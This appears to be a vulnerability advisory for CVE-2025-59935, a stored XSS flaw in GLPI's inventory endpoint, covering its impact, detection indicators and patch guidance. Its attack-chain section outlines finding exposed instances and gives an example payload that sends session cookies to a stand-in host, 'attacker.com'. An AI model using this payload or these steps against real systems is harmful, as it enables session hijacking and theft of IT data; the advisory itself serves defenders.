CVE-2025-59935: 
GLPI vulnerability analysis and mitigation

CVE-2025-59935 is an unauthenticated stored cross-site scripting (XSS) vulnerability in GLPI, a free open-source asset and IT management software package. It affects GLPI versions 10.0.0 through 10.0.20, and was patched in version 10.0.21. The vulnerability was disclosed on December 16, 2025, via a GitHub Security Advisory published by the GLPI project. It carries a CVSS v3.1 base score of 6.5 (Medium) (GitHub Advisory, Red Hat CVE).

The root cause is improper neutralization of user-controllable input during web page generation (CWE-79), specifically within GLPI's inventory endpoint. An unauthenticated attacker can submit a crafted request to the inventory endpoint containing a malicious XSS payload, which is then stored server-side without adequate sanitization or output encoding. When authenticated users subsequently view the affected inventory data, the stored payload executes in their browsers. No authentication or special privileges are required to inject the payload, though user interaction (a victim viewing the poisoned inventory page) is needed for execution (GitHub Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browsers of authenticated GLPI users who view the compromised inventory data. The primary impact is high confidentiality loss — attackers can steal session tokens, credentials, or sensitive IT asset and management data accessible to the victim user. Integrity and availability are not directly impacted by this vulnerability, but session hijacking could enable further unauthorized actions within the GLPI platform on behalf of the victim (GitHub Advisory, Feedly).

There is no public proof-of-concept exploit code and no evidence of in-the-wild exploitation at this time. The EPSS score is approximately 0.081%, indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The vulnerability was reported by researcher "luhko" and credited in the GitHub Security Advisory (GitHub Advisory).

1. Reconnaissance: Identify internet-facing GLPI instances running versions 10.0.0–10.0.20 using tools like Shodan or Censys, or by checking the GLPI version disclosure on the login page.
2. Locate the inventory endpoint: Identify the GLPI inventory submission endpoint (typically used by GLPI agents to submit asset inventory data).
3. Craft malicious payload: Prepare a stored XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) embedded within an inventory field that is rendered unsanitized in the GLPI web interface.
4. Submit payload unauthenticated: Send a crafted HTTP request to the inventory endpoint with the malicious payload — no authentication is required for this step.
5. Wait for victim interaction: When an authenticated GLPI administrator or user navigates to the inventory view containing the poisoned data, the stored XSS payload executes in their browser.
6. Harvest session data: The executed script exfiltrates session cookies or other sensitive data to an attacker-controlled server, enabling session hijacking and unauthorized access to GLPI (GitHub Advisory).

• Network: Unexpected outbound HTTP requests from GLPI users' browsers to unknown external domains shortly after viewing inventory pages; unusual POST requests to the GLPI inventory endpoint from unauthenticated or unknown sources.
• Logs: GLPI web server access logs showing unauthenticated POST requests to the inventory endpoint with unusually large or script-containing payloads; browser-side console errors related to cross-origin requests triggered from GLPI inventory pages.
• File System / Database: Inventory records in the GLPI database containing HTML <script> tags, JavaScript event handlers (e.g., onerror, onload), or encoded script content in fields not expected to contain markup.
• Process/Behavior: Authenticated user sessions being invalidated or reused from unexpected IP addresses shortly after viewing inventory data, potentially indicating session token theft.

The primary remediation is to upgrade GLPI to version 10.0.21 or later, which contains the official patch for this vulnerability (GitHub Advisory). If immediate patching is not feasible, administrators should restrict access to the inventory endpoint to authorized and authenticated sources only (e.g., via network-level controls or firewall rules). Additionally, implementing a Web Application Firewall (WAF) with XSS detection rules can help detect and block malicious payload submissions. Monitor inventory endpoints for suspicious unauthenticated activity as an interim measure.

The vulnerability was discussed on the GLPI project forum following disclosure, and a Bluesky post referencing the CVE was noted in threat intelligence feeds. Coverage has been limited to vulnerability aggregator sites and security advisory databases, with no major media coverage or notable researcher commentary beyond the original reporter ("luhko") credited in the GitHub advisory (GLPI Forum, GitHub Advisory).